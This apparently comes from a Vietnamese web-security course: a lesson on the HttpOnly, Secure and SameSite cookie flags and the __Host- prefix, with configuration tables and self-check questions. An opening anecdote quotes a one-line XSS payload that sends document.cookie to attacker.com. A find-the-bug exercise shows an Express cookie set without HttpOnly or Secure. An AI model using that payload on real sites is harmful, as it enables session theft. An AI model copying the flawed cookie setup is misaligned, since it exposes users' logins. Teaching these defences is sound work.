Nền tảng An toàn Web & Cơ chế Trình duyệt
10/20
Bài 10 / 20~13 phútMô hình Bảo mật Trình duyệtMiễn phí… lượt xem

Cookie Security Flags: HttpOnly, Secure và SameSite

Phân tích ma trận cờ bảo vệ cookie: ngăn chặn đánh cắp token qua XSS với HttpOnly, mã hóa kết nối với Secure và chặn CSRF bằng SameSite.

TL;DR: Cookies là phương tiện lưu trữ phiên đăng nhập và định danh phổ biến nhất trên web, nhưng cũng là mục tiêu hàng đầu của các cuộc tấn công đánh cắp phiên. Ba cờ thuộc tính bảo mật quyết định vận mệnh an toàn của một cookie bao gồm: Secure (chỉ gửi qua kênh HTTPS mã hóa), HttpOnly (cấm hoàn toàn JavaScript đọc qua document.cookie, vô hiệu hóa đòn trộm session qua XSS), và SameSite (kiểm soát việc gửi cookie trong các ngữ cảnh cross-site). Việc hiểu rõ ma trận hoạt động giữa các giá trị Strict, Lax, và None giúp lập trình viên vừa bảo vệ hệ thống trước đòn tấn công CSRF vừa duy trì trải nghiệm liền mạch cho người dùng.

Trong một đợt kiểm toán ứng dụng thương mại điện tử, chuyên gia an toàn phát hiện một lỗ hổng Reflected XSS trên thanh tìm kiếm. Lập trình viên cho rằng đây chỉ là lỗi nhỏ vì trang tìm kiếm không chứa dữ liệu nhạy cảm. Tuy nhiên, vì cookie chứa JWT session không có cờ HttpOnly, payload XSS chỉ cần chạy một dòng lệnh: new Image().src = 'https://attacker.com/steal?c=' + document.cookie. Toàn bộ token đăng nhập của người dùng lập tức bị gửi thẳng về máy chủ của hacker, dẫn tới việc chiếm đoạt tài khoản quản trị viên trong chớp mắt.

1. Cờ HttpOnly ngăn chặn đánh cắp phiên qua XSS ra sao?

Khi một cookie được thiết lập với cờ HttpOnly:

HTTP
Set-Cookie: session_id=xyz123; Path=/; Secure; HttpOnly

Trình duyệt vẫn tự động đính kèm cookie này trong header Cookie: session_id=xyz123 của mọi HTTP request gửi tới server. Tuy nhiên, trong môi trường DOM của trang web, thuộc tính document.cookie sẽ hoàn toàn "vô hình" trước mã JavaScript.

Nếu trang web không may dính lỗ hổng Cross-Site Scripting (XSS), đoạn mã độc của kẻ tấn công có thể thao túng giao diện hoặc gửi request mạo danh, nhưng không thể đọc trích xuất được giá trị session token thô để mang sang máy khác sử dụng dài hạn.

Ma trận phòng thủ Cookie Security Flags

2. Vì sao cờ Secure là điều kiện bắt buộc trong kỷ nguyên HTTPS?

Kể cả khi website của bạn chạy hoàn toàn trên https://mybank.com, nếu cookie phiên không có cờ Secure:

  1. Nạn nhân vô tình gõ http://mybank.com (chưa kịp chuyển hướng sang HTTPS).
  2. Hoặc một kẻ tấn công trên mạng Wi-Fi công cộng dùng công cụ SSL Stripping chặn và chuyển tiếp link HTTP.
  3. Trình duyệt sẽ phát request HTTP thô đầu tiên kèm theo cookie phiên chưa được mã hóa.
  4. Kẻ nghe lén bắt được token phiên trong tích tắc.

Cờ Secure ra lệnh cho trình duyệt: Nếu kết nối không phải là HTTPS mã hóa, tuyệt đối không bao giờ gửi cookie này ra đường truyền.

Thử ngẫmKhi phát triển ứng dụng ở máy cục bộ (http://localhost:3000), tại sao trình duyệt vẫn cho phép thiết lập cờ Secure mà không chặn?

3. Ma trận SameSite Strict, Lax và None phân biệt chéo site thế nào?

Thuộc tính SameSite kiểm soát việc trình duyệt có đính kèm cookie hay không khi người dùng thực hiện một yêu cầu điều hướng bắt nguồn từ một trang web bên ngoài (Cross-Site Request).

Giá trị SameSiteĐính kèm khi Click Link (<a>)Đính kèm khi Submit Form POSTĐính kèm khi Nhúng <img>/<iframe>Mục đích sử dụng
StrictKhôngKhôngKhôngBảo vệ tối đa cho hệ thống ngân hàng, ví điện tử
Lax (Mặc định)Có (Top-level GET)KhôngKhôngCân bằng trải nghiệm cho web thông thường
NoneCóCóCóDành cho iframe nhúng đa bên (bắt buộc kèm Secure)

Dưới đây là một bài tập dự đoán phản xạ nhanh về hành vi của SameSite=Lax:

Dự đoán hành vi (Predict): Trải nghiệm người dùng với SameSite=Strict

Một mạng xã hội đặt cookie phiên là 'SameSite=Strict'. Khi người dùng nhận được link bài viết qua ứng dụng nhắn tin và bấm vào mở trên trình duyệt, chuyện gì sẽ xảy ra?

4. Cơ chế Top-Level Navigation và ngoại lệ GET của SameSite Lax là gì?

Đa số trình duyệt hiện đại (Chrome, Edge, Firefox, Safari) đã chuyển giá trị mặc định của cookie sang SameSite=Lax nếu lập trình viên không khai báo tường minh.

Ngoại lệ an toàn của Lax:

  • Top-Level Navigation: Hành động làm thay đổi thanh địa chỉ URL của toàn bộ cửa sổ trình duyệt (ví dụ: người dùng bấm vào một thẻ <a href="...">).
  • Safe Method (GET): Request phải sử dụng phương thức an toàn (GET), không làm thay đổi trạng thái máy chủ.

Nhờ ngoại lệ này, khi bạn bấm link từ email hay Google Search, bạn không bị văng đăng nhập. Nhưng nếu kẻ tấn công tạo một form ẩn gửi ngầm bằng phương thức POST, hoặc nhúng thẻ <script> gọi dữ liệu từ trang độc hại, trình duyệt sẽ kiên quyết không gửi cookie, loại bỏ hầu hết các vector tấn công CSRF phổ biến dựa trên form submission ngầm.

Hành vi đính kèm cookie của 3 chế độ SameSite khi người dùng tương tác từ site bên ngoài

Hình 2.3b: Sự khác biệt về mức độ bảo vệ của Strict, Lax và None khi có tương tác người dùng bắt nguồn từ domain bên ngoài.

Ngay cả khi bạn cấu hình đầy đủ cờ, một subdomain kém bảo mật (như blog.example.com) dính XSS vẫn có thể ghi đè cookie lên domain cha (example.com) để thực hiện tấn công Cookie Tossing.

Tiêu chuẩn hiện đại định nghĩa hai tiền tố cookie được trình duyệt thực thi nghiêm ngặt:

  1. Tiền tố __Secure-:
    • Bắt buộc phải có cờ Secure.
    • Bắt buộc phải được gửi từ một nguồn HTTPS.
  2. Tiền tố __Host- (Cấp độ phòng thủ cao nhất):
    • Bắt buộc phải có cờ Secure.
    • Bắt buộc phải có thuộc tính Path=/.
    • TUYỆT ĐỐI KHÔNG ĐƯỢC CHỨA thuộc tính Domain: Ngăn chặn hoàn toàn việc chia sẻ hoặc bị ghi đè từ bất kỳ subdomain nào!
HTTP
Set-Cookie: __Host-id=xyz123; Path=/; Secure; HttpOnly; SameSite=Lax
🐛 Tìm bug trong code này
// Thiết lập cookie phiên đăng nhập trong Express.js
res.cookie("auth_token", token, {
maxAge: 3600000,
// Security bug: missing HttpOnly and Secure
sameSite: "none"
});

Thiết lập cờ cookie là quyết định kiến trúc cân bằng giữa an ninh và trải nghiệm:

Loại nghiệp vụCấu hình Cookie tối ưu
Session xác thực chính (Auth Token)__Host-session=...; Path=/; Secure; HttpOnly; SameSite=Lax
Thao tác tài chính nhạy cảmPath=/transfer; Secure; HttpOnly; SameSite=Strict
Ghi nhớ tùy chọn giao diện (Dark Mode)theme=dark; Path=/; SameSite=Lax (không cần HttpOnly)
Widget nhúng bên thứ ba (Iframe)widget_pref=...; Path=/; Secure; SameSite=None

[!TIP] Khi bảo vệ các API thay đổi trạng thái máy chủ (POST/PUT/DELETE), chỉ dựa vào SameSite là chưa đủ để chống lại các trình duyệt cũ hoặc các lỗi logic phức tạp. Để tìm hiểu cách kết hợp CSRF token đồng bộ với cookie trong hệ sinh thái Java & Spring, hãy xem bài học CSRF Protection trong Spring Security.

7. Tự kiểm tra (Self-check)

Hãy củng cố kiến thức ma trận cờ bảo vệ cookie của bạn qua các câu hỏi truy xuất chủ động dưới đây:

Tự kiểm tra
0/6 câu đã trả lời
  1. Q1
    Cờ HttpOnly bảo vệ cookie trước loại tấn công nào và giới hạn phòng thủ của nó là gì?
  2. Q2
    Vì sao việc đặt SameSite=Strict có thể gây bất tiện cho người dùng khi chia sẻ liên kết?
  3. Q3
    Cờ Secure hoạt động dựa trên nguyên lý nào để ngăn chặn nghe lén mạng?
  4. Q4
    Hai điều kiện nào cho phép cookie SameSite=Lax được gửi trong ngữ cảnh liên trang?
  5. Q5
    Tiền tố __Host- áp đặt những ràng buộc nghiêm ngặt nào lên một cookie?
  6. Q6
    Điều gì sẽ xảy ra nếu bạn thiết lập SameSite=None nhưng quên không khai báo cờ Secure trên trình duyệt hiện đại?

Bài tiếp theo: Content Security Policy (CSP) cơ bản

Bài này có giúp bạn hiểu bản chất không?

Bài này đáng gửi cho bạn học cùng?

Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.

Thảo luận & góp ý

Hỏi đáp về bài này

Bài tiếp theo

Content Security Policy (CSP): Phòng thủ chiều sâu Web